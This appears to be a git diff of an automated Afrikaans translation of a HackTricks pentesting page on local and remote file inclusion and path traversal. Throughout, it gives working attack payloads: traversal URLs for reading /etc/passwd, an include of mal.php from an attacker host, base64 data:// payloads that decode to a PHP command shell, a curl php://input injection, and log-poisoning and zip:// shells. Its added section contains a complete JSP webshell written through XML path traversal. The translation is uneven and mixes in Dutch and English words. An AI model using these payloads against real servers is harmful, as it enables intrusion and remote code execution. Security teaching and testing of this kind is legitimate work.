Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

src/pentesting-web/file-inclusion/README.md

@@ -1,13 +1,13 @@
-# Lêer Insluiting/Pad Traversie
+# Bestandsinsluiting/Pad Traversal
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Lêer Insluiting
+## Bestandsinsluiting
 
-**Afgeleë Lêer Insluiting (RFI):** Die lêer word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **deaktiviseer** per standaard (**allow_url_include**).\
-**Plaaslike Lêer Insluiting (LFI):** Die bediener laai 'n plaaslike lêer.
+**Afgeleë Bestandsinsluiting (RFI):** Die lêer word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **deaktivated** per standaard (**allow_url_include**).\
+**Plaaslike Bestandsinsluiting (LFI):** Die bediener laai 'n plaaslike lêer.
 
-Die kwesbaarheid gebeur wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
+Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
 
 Kwetsbare **PHP funksies**: require, require_once, include, include_once
 
@@ -32,7 +32,7 @@ Probeer ook om `../../../../../` by te voeg.
 
 ### **Windows**
 
-Samevoeging van verskillende woordlyste:
+Samesmelting van verskillende woordlyste:
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
@@ -53,7 +53,7 @@ Al die voorbeelde is vir Local File Inclusion, maar kan ook op Remote File Inclu
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### traverseringsekwensies nie-rekursief verwyder
+### traverseringsekwensies nie-recursief verwyder
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@@ -82,38 +82,38 @@ Miskien kyk die agterkant na die gids pad:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
-### Verkenning van Lêerstelsels op 'n Bediening
+### Verkenning van Lêerstelsels op 'n Bediener
 
-Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory-diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
+Die lêerstelsel van 'n bediener kan rekursief verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory-diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
 
 1. **Bepaal Directory Diepte:** Bepaal die diepte van jou huidige directory deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Dienste vir Gidsen:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
+2. **Dienste vir Gidsen:** Voeg die naam van die vermoedelike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 3. **Interpret die Uitslae:** Die bediener se antwoord dui aan of die gids bestaan:
 - **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
 - **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
-4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
+4. **Herhalende Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
 
 Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
-### **Pad Afkorting Tegniek**
+### **Pad Truncasie Tegniek**
 
-Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
+Pad truncasie is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
 
 In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
 
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad hanteer.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
 - Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
-- Op soortgelyke wyse, as `.php` aan 'n lêerpad gevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry nie, verander.
+- Op soortgelyke wyse, as `.php` aan 'n lêerpad gevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry word, verander nie.
 
-Die verskafde voorbeelde demonstreer hoe om pad afkorting te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
+Die verskafde voorbeelde demonstreer hoe om pad truncasie te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -123,10 +123,10 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
+In hierdie scenario's mag die aantal traversals wat nodig is ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
 
-- **Gebruik van Punt Segmente en Bykomende Karakters**: Traversal volgordes (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.
-- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` volgordes vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde stringe (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
+- **Gebruik van Punt Segmente en Bykomende Karakters**: Traversal sekwensies (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.
+- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde stringe (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
 - **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad parsingslogika te voldoen.
 
 Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
@@ -143,16 +143,16 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion
 
-In php is dit standaard gedeaktiveer omdat **`allow_url_include`** is **Af.** Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
+In php is dit standaard deaktiveer omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-As dit om een of ander rede **`allow_url_include`** is **Aan**, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protokol met base64 gebruik om 'n b64 PHP kode te dekodeer en RCE te verkry:
+As dit om een of ander rede **`allow_url_include`** **Aan** is, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protokol met base64 gebruik om 'n b64 PHP kode te dekodeer en RCE te verkry:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
-> [!NOTE]
+> [!TIP]
 > In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string nodig gehad het wat in `.txt` eindig, so die string eindig daarmee en na die b64-dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer word).
 
 Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
@@ -161,7 +161,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
 ```
 ## Python Root element
 
-In python in a code like this one:
+In python in 'n kode soos hierdie:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
@@ -171,9 +171,9 @@ As die gebruiker 'n **absolute pad** na **`file_name`** deurgee, word die **vori
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Dit is die bedoelde gedrag volgens [die dokumentasie](https://docs.python.org/3.10/library/os.path.html#os.path.join):
 
-> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die aansluiting gaan voort vanaf die absolute padkomponent.
+> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die aansluiting voort vanaf die absolute padkomponent.
 
 ## Java Lys Gidsen
 
@@ -232,7 +232,7 @@ PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gele
 > Deur die `convert.iconv.*` omskakelingsfilter te misbruik, kan jy **arbitraire teks genereer**, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te maak. Vir meer inligting, kyk na [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)
+- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting uitvoer)
 - `zlib.inflate`: Decomprimeer die data
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
 - `mcrypt.*` : Verouderd
@@ -273,25 +273,25 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 
 ### Gebruik php filters as orakel om arbitrêre lêers te lees
 
-[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n **booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php filters** as orakel. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering gooi.
+[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n **booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php filters** as orakel. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering kan gooi.
 
 In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
 
-- Gebruik die kodek **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter.
+- Gebruik die kode **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter.
 - Dit sal gebruik word om 'n **teks so groot te genereer wanneer die aanvanklike letter korrek geraai word** dat php 'n **fout** sal veroorsaak.
 - Die **dechunk** filter sal **alles verwyder as die eerste karakter nie 'n hexadesimale is nie**, sodat ons kan weet of die eerste karakter hex is.
-- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php fout veroorsaak.
-- Die kodek **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie kodek: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n `a` is byvoorbeeld, want as ons 6 van hierdie kodek toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php fout word veroorsaak omdat dit met die aanvanklike bom vermenigvuldig.
-- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeks kan gebruik word om ander letters na die hex reeks te beweeg).
-- Wanneer die aanvanklike karakter 'n nommer is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die nommer te lek.
+- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php-fout veroorsaak.
+- Die kode **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie kode: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n `a` is byvoorbeeld, want as ons 6 van hierdie kode toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word veroorsaak omdat dit vermenigvuldig met die aanvanklike bom.
+- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodes kan gebruik word om ander letters na die hex-reeks te beweeg).
+- Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.
 - Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheue filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
-- En ten einde **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit te **pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
+- En om in staat te wees om **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit **te pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
 
 In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
 ### php://fd
 
-Hierdie wrapper laat toegang toe tot lêer beskrywings wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
+Hierdie wrapper laat toegang toe tot lêerdescriptors wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
@@ -326,7 +326,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-Let wel dat hierdie protokol beperk word deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
+Let wel, hierdie protokol word beperk deur php konfigurasies **`allow_url_open`** en **`allow_url_include`**
 
 ### expect://
 
@@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
 ```
 ### phar://
 
-'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kodesnit hieronder demonstreer die skepping van 'n `.phar`-lêer:
+'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai benut. Die PHP-kode-snippet hieronder demonstreer die skepping van 'n `.phar`-lêer:
 ```php
 <?php
 $phar = new Phar('test.phar');
@@ -371,7 +371,7 @@ phar-deserialization.md
 ### CVE-2024-2961
 
 Dit was moontlik om **enige arbitrêre lêer wat van PHP gelees word wat php-filters ondersteun** te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan [**gevind word in hierdie pos**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Baie vinnige opsomming: 'n **3 byte oorgang** in die PHP heap is misbruik om die **ketting van vrye stukke** van 'n spesifieke grootte te **verander** sodat dit moontlik was om **enigiets in enige adres te skryf**, so 'n haak is bygevoeg om **`system`** aan te roep.\
+Baie vinnige opsomming: 'n **3 byte oorgang** in die PHP heap is misbruik om die **ketting van vrye stukke** van 'n spesifieke grootte te verander om in staat te wees om **enigiets in enige adres te skryf**, so 'n haak is bygevoeg om **`system`** aan te roep.\
 Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.
 
 ### More protocols
@@ -389,7 +389,7 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e
 
 ## LFI via PHP's 'assert'
 
-Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus traversering karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
+Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus deurreis karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
 
 For example, PHP code might be designed to prevent directory traversal like so:
 ```bash
@@ -408,11 +408,11 @@ Dit is belangrik om **URL-encode hierdie payloads**.
 ## PHP Blind Path Traversal
 
 > [!WARNING]
-> Hierdie tegniek is relevant in gevalle waar jy **beheer** oor die **lêerpad** van 'n **PHP-funksie** het wat 'n **lêer** sal **toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie gewys nie.
+> Hierdie tegniek is relevant in gevalle waar jy **beheer** oor die **lêerpad** van 'n **PHP-funksie** het wat 'n **lêer** sal **toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie vertoon nie.
 
-In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP-filter om **die inhoud van 'n lêer via 'n fout-orakel te exfiltreer**.
+In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP-filter om die **inhoud van 'n lêer via 'n fout-orakel te exfiltreer**.
 
-In samevatting, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat** die lêer oopmaak 'n **fout** sal veroorsaak.
+In samevatting, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
 
 Dan, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te lek**.
 
@@ -422,20 +422,66 @@ Vir die tegniese besonderhede kyk na die genoemde pos!
 
 ## LFI2RCE
 
-### Remote File Inclusion
+### Willekeurige Lêer Skryf via Pad Traversering (Webshell RCE)
+
+Wanneer bediener-kant kode wat lêers opneem/oplê die bestemmingspad bou met gebruikers-beheerde data (bv. 'n lêernaam of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute pades die bedoelde gids ontsnap en 'n willekeurige lêer skryf veroorsaak. As jy die payload onder 'n web-blootgestelde gids kan plaas, kry jy gewoonlik nie-geverifieerde RCE deur 'n webshell te laat val.
+
+Tipiese uitbuiting werkstroom:
+- Identifiseer 'n skryf primitief in 'n eindpunt of agtergrondwerker wat 'n pad/lêernaam aanvaar en inhoud na skyf skryf (bv. boodskap-gedrewe opname, XML/JSON opdrag hanteerders, ZIP ekstrakteerders, ens.).
+- Bepaal web-blootgestelde gidse. Algemene voorbeelde:
+- Apache/PHP: `/var/www/html/`
+- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → laat val `shell.jsp`
+- IIS: `C:\inetpub\wwwroot\` → laat val `shell.aspx`
+- Ontwerp 'n traversering pad wat uit die bedoelde stoor gids breek in die webroot, en sluit jou webshell inhoud in.
+- Blaai na die laat val payload en voer opdragte uit.
+
+Notas:
+- Die kwesbare diens wat die skryf uitvoer, mag op 'n nie-HTTP poort luister (bv. 'n JMF XML luisteraar op TCP 4004). Die hoof webportaal (ander poort) sal later jou payload bedien.
+- Op Java-stapels word hierdie lêer skrywe dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenasie. Gebrek aan kanonisering/toelaatlys is die kernfout.
+
+Generiese XML/JMF-styl voorbeeld (produk skemas verskil – die DOCTYPE/body omhulsel is irrelevant vir die traversering):
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<JMF SenderID="hacktricks" Version="1.3">
+<Command Type="SubmitQueueEntry">
+<!-- Write outside the intake folder into the webroot via traversal -->
+<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
+<Data>
+<![CDATA[
+<%@ page import="java.io.*" %>
+<%
+String c = request.getParameter("cmd");
+if (c != null) {
+Process p = Runtime.getRuntime().exec(c);
+try (var in = p.getInputStream(); var out = response.getOutputStream()) {
+in.transferTo(out);
+}
+}
+%>
+]]>
+</Data>
+</Command>
+</JMF>
+```
+Harding wat hierdie klas foute oorwin:
+- Los op na 'n kanonieke pad en handhaaf dat dit 'n afstammeling van 'n toegelate basisgids is.
+- Weier enige pad wat `..`, absolute wortels of skyfletters bevat; verkies gegenereerde filenname.
+- Voer die skrywer uit as 'n laag-geprivilegieerde rekening en skei skryfgidse van bediende wortels.
+
+## Afgeleide Lêer Insluiting
 
 Soos voorheen verduidelik, [**volg hierdie skakel**](#remote-file-inclusion).
 
 ### Via Apache/Nginx log lêer
 
-As die Apache of Nginx bediener **kwesbaar is vir LFI** binne die insluitingsfunksie kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in.
+As die Apache of Nginx bediener **kwulnerabel is vir LFI** binne die insluitingsfunksie, kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in.
 
 > [!WARNING]
-> Let daarop dat **as jy dubbele aanhalings gebruik** vir die shell in plaas van **enkele aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
+> Let daarop dat **as jy dubbele aanhalings** vir die shell gebruik in plaas van **eenvoudige aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
 >
 > Maak ook seker dat jy **die payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
 
-Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kopstuk **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kopstuk ingevoeg word.\
+Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kop **autorisering "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kop ingevoeg word.\
 Ander moontlike log paaie:
 ```python
 /var/log/apache2/access.log
@@ -476,11 +522,11 @@ Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente
 
 ### Deur Zip lêer op te laai
 
-Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:
+Laai 'n ZIP-lêer op wat 'n PHP-shel gecomprimeer bevat en toegang:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Deur PHP sessies
+### Via PHP-sessies
 
 Kontroleer of die webwerf PHP-sessie (PHPSESSID) gebruik.
 ```
@@ -506,14 +552,14 @@ As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/pa
 
 ### **Via** **vsftpd** _**logs**_
 
-Die logs vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
+Die logs vir die FTP bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd bediener moontlik is, kan die volgende stappe oorweeg word:
 
-1. Spuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
-2. Na inspuiting, gebruik die LFI om die bedienerlogs van _**/var/log/vsftpd.log**_ te verkry.
+1. Spuit 'n PHP payload in die gebruikersnaam veld tydens die aanmeldproses.
+2. Na inspuiting, gebruik die LFI om die bediener logs van _**/var/log/vsftpd.log**_ te verkry.
 
 ### Via php base64 filter (using base64)
 
-Soos in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel gewys, ignoreer die PHP base64 filter eenvoudig Non-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
+Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, ignoreer PHP base64 filter eenvoudig nie-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 
@@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
 
 ### Via PHP_SESSION_UPLOAD_PROGRESS
 
-As jy 'n **Plaaslike Lêer Insluiting** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP **die sessie vir jou aktiveer**. Jy kan dit misbruik om RCE te verkry:
